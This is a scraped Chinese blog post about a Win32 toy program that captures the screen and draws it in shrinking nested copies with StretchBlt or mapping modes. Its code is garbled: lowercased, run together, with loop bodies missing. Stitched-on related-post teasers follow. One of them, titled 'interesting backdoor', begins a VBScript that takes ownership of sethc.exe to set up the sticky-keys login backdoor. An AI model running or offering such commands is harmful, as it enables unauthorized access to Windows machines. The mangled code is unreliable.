有意思的程式 抓取螢幕

2021-08-27 13:31:21 字數 2755 閱讀 7375

win32學了一段時間了,跟著楊老師的腳步,準備學習mfc,因此最近幾天在複習c++,於是發現有將近一周沒寫博文了……

今天來寫乙個較為簡單、但是比較有意思的東西

理髮店一般都有兩面對立的鏡子,你仔細一看會發現,兩面鏡子裡面的成像逐漸縮小,並且居中排列,很有意思

盜夢空間中也有乙個類似的場景,我截了乙個圖:

yes,今天就來做乙個這樣的效果,只不過是抓的螢幕

好吧,先來看看程式執行效果,來對比一下:

下面進入主題,剖析實現細節,主要分兩大步:

(1)要對螢幕"工作",在win32中必須獲取螢幕的hdc。有兩種主要的方式:

1)getdc(hwnd), 傳遞引數null——getdc(null)

2)createdc(text("display"), null, null, null);

(2)貼圖

獲取環境hdc後,在hdc中會儲存螢幕的狀態——相當於螢幕的截圖,只是用bmp儲存的

今天貼圖用乙個更好的函式stretchblt,它有乙個很好的功能——可以按比例縮放bmp點陣圖,然後顯示:

bool stretchblt(

hdchdcdest

,// handle to destination dcintnxorigindest

,// x-coord of destination upper-left cornerintnyorigindest

,// y-coord of destination upper-left cornerintnwidthdest

,// width of destination rectangleintnheightdest

,// height of destination rectanglehdchdcsrc

,// handle to source dcintnxoriginsrc

,// x-coord of source upper-left cornerintnyoriginsrc

,// y-coord of source upper-left cornerintnwidthsrc

,// width of source rectangleintnheightsrc

,// height of source rectangledworddwrop

// raster operation code);

使用方法和bitblt很類似,應該不用贅述了……

具體核心實現**如下:

int	cxscreen, cyscreen;//全域性變數——螢幕的長寬,用於視窗居中和縮放顯示bmp

hdccli = beginpaint(hwnd, &ps);

hdcscr = getdc(null);

//迴圈3次

i = 0;

while(i<3)

deletedc(hdcscr);

endpaint(hwnd, &ps);

這種方式很簡單,當然我肯定不會簡單用一下這個函式就了事了,這個沒什麼大不了的,下面我在介紹一種使用gdi對映模式+bitblt來貼bmp點陣圖,實現效果和上面說的完全一樣

bitblt函式沒有縮放功能,我就用對映模式來實現縮放功能,縮放的具體實現**如下:

hdccli = beginpaint(hwnd, &ps);

hdcscr = getdc(null);

setmapmode(hdccli, mm_anisotropic);//設定x、y方向異性模式,就是說x、y方向可以不同

setwindowextex(hdccli, cxscreen, cyscreen, null);//設定視窗範圍

setviewportextex(hdccli, cxclient, cyclient, null);//設定視口範圍

//這樣就能將cxscreen * cyscreen的大小縮放為cxclient * cyclient的大小,就是將螢幕大小縮小為客戶區大小

//迴圈3次

i = 0;

while(i<3)

deletedc(hdcscr);

endpaint(hwnd, &ps);

這兩種方式實現的效果完全一樣,多一種方式,多一種思路,這樣才能提高能力……

有意思的程式 抓取螢幕

win32學了一段時間了,跟著楊老師的腳步,準備學習mfc,因此最近幾天在複習c 於是發現有將近一周沒寫博文了 今天來寫乙個較為簡單 但是比較有意思的東西 理髮店一般都有兩面對立的鏡子,你仔細一看會發現,兩面鏡子裡面的成像逐漸縮小,並且居中排列,很有意思 盜夢空間中也有乙個類似的場景,我截了乙個圖 ...

有意思的話

1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...